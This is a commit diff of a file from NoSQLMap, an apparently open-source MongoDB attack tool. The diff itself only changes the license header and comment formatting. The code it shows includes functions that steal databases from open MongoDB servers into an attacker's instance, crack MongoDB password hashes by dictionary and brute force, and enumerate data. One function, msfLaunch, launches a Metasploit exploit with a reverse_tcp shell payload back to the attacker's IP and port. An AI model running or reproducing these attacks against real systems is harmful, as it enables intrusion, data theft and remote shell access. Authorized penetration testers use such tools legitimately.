1
1
#!/usr/bin/python
2
- #NoSQLMap Copyright 2016 Russell Butturini
3
- #This program is free software: you can redistribute it and/or modify
4
- # it under the terms of the GNU General Public License as published by
5
- #the Free Software Foundation, either version 3 of the License, or
6
- #(at your option) any later version.
7
-
8
- #This program is distributed in the hope that it will be useful,
9
- #but WITHOUT ANY WARRANTY; without even the implied warranty of
10
- #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11
- #GNU General Public License for more details.
12
-
13
- #You should have received a copy of the GNU General Public License
14
- #along with this program. If not, see <http://www.gnu.org/licenses/>.
2
+ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3
+ # See the file 'doc/COPYING' for copying permission
4
+
15
5
import pymongo
16
6
import urllib
17
7
import json
22
12
from hashlib import md5
23
13
import os
24
14
15
+
25
16
global yes_tag
26
17
global no_tag
27
18
yes_tag = ['y' , 'Y' ]
28
19
no_tag = ['n' , 'N' ]
29
20
21
+
30
22
def netAttacks (target , dbPort , myIP , myPort ):
31
23
print "DB Access attacks (MongoDB)"
32
24
print "================="
33
25
mgtOpen = False
34
26
webOpen = False
35
27
mgtSelect = True
36
- #This is a global for future use with other modules; may change
28
+ # This is a global for future use with other modules; may change
37
29
global dbList
38
30
dbList = []
39
31
@@ -70,7 +62,7 @@ def netAttacks(target, dbPort, myIP, myPort):
70
62
71
63
72
64
mgtUrl = "http://" + target + ":28017"
73
- #Future rev: Add web management interface parsing
65
+ # Future rev: Add web management interface parsing
74
66
75
67
try :
76
68
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
@@ -138,6 +130,7 @@ def netAttacks(target, dbPort, myIP, myPort):
138
130
if attack == "6" :
139
131
return
140
132
133
+
141
134
def stealDBs (myDB ,victim ,mongoConn ):
142
135
dbList = mongoConn .database_names ()
143
136
dbLoot = True
@@ -161,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
161
154
break
162
155
163
156
try :
164
- #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
157
+ # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
165
158
dbNeedCreds = raw_input ("Does this database require credentials (y/n)? " )
166
159
myDBConn = pymongo .MongoClient (myDB , 27017 )
167
160
if dbNeedCreds in no_tag :
@@ -195,6 +188,7 @@ def stealDBs(myDB,victim,mongoConn):
195
188
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return..." )
196
189
return
197
190
191
+
198
192
def passCrack (user , encPass ):
199
193
select = True
200
194
print "Select password cracking method: "
@@ -217,13 +211,15 @@ def passCrack (user, encPass):
217
211
return
218
212
return
219
213
214
+
220
215
def gen_pass (user , passw , hashVal ):
221
216
if md5 (user + ":mongo:" + str (passw )).hexdigest () == hashVal :
222
217
print "Found - " + user + ":" + passw
223
218
return True
224
219
else :
225
220
return False
226
221
222
+
227
223
def dict_pass (user ,key ):
228
224
loadCheck = False
229
225
@@ -245,9 +241,11 @@ def dict_pass(user,key):
245
241
break
246
242
return
247
243
244
+
248
245
def genBrute (chars , maxLen ):
249
246
return ('' .join (candidate ) for candidate in itertools .chain .from_iterable (itertools .product (chars , repeat = i ) for i in range (1 , maxLen + 1 )))
250
247
248
+
251
249
def brute_pass (user ,key ):
252
250
charSel = True
253
251
print "\n "
@@ -287,6 +285,7 @@ def brute_pass(user,key):
287
285
break
288
286
return
289
287
288
+
290
289
def getPlatInfo (mongoConn ):
291
290
print "Server Info:"
292
291
print "MongoDB Version: " + mongoConn .server_info ()['version' ]
@@ -295,6 +294,7 @@ def getPlatInfo (mongoConn):
295
294
print "\n "
296
295
return
297
296
297
+
298
298
def enumDbs (mongoConn ):
299
299
try :
300
300
print "List of databases:"
@@ -333,6 +333,7 @@ def enumDbs (mongoConn):
333
333
print "\n "
334
334
return
335
335
336
+
336
337
def msfLaunch ():
337
338
try :
338
339
proc = subprocess .call ("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str (victim ) + " DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str (myIP ) + " LPORT=" + str (myPort ) + " E" , shell = True )
@@ -342,6 +343,7 @@ def msfLaunch():
342
343
raw_input ("Press enter to continue..." )
343
344
return
344
345
346
+
345
347
def enumGrid (mongoConn ):
346
348
try :
347
349
for dbItem in mongoConn .database_names ():
@@ -361,6 +363,7 @@ def enumGrid (mongoConn):
361
363
362
364
return
363
365
366
+
364
367
def mongoScan (ip ,port ,pingIt ):
365
368
366
369
if pingIt == True :
0 commit comments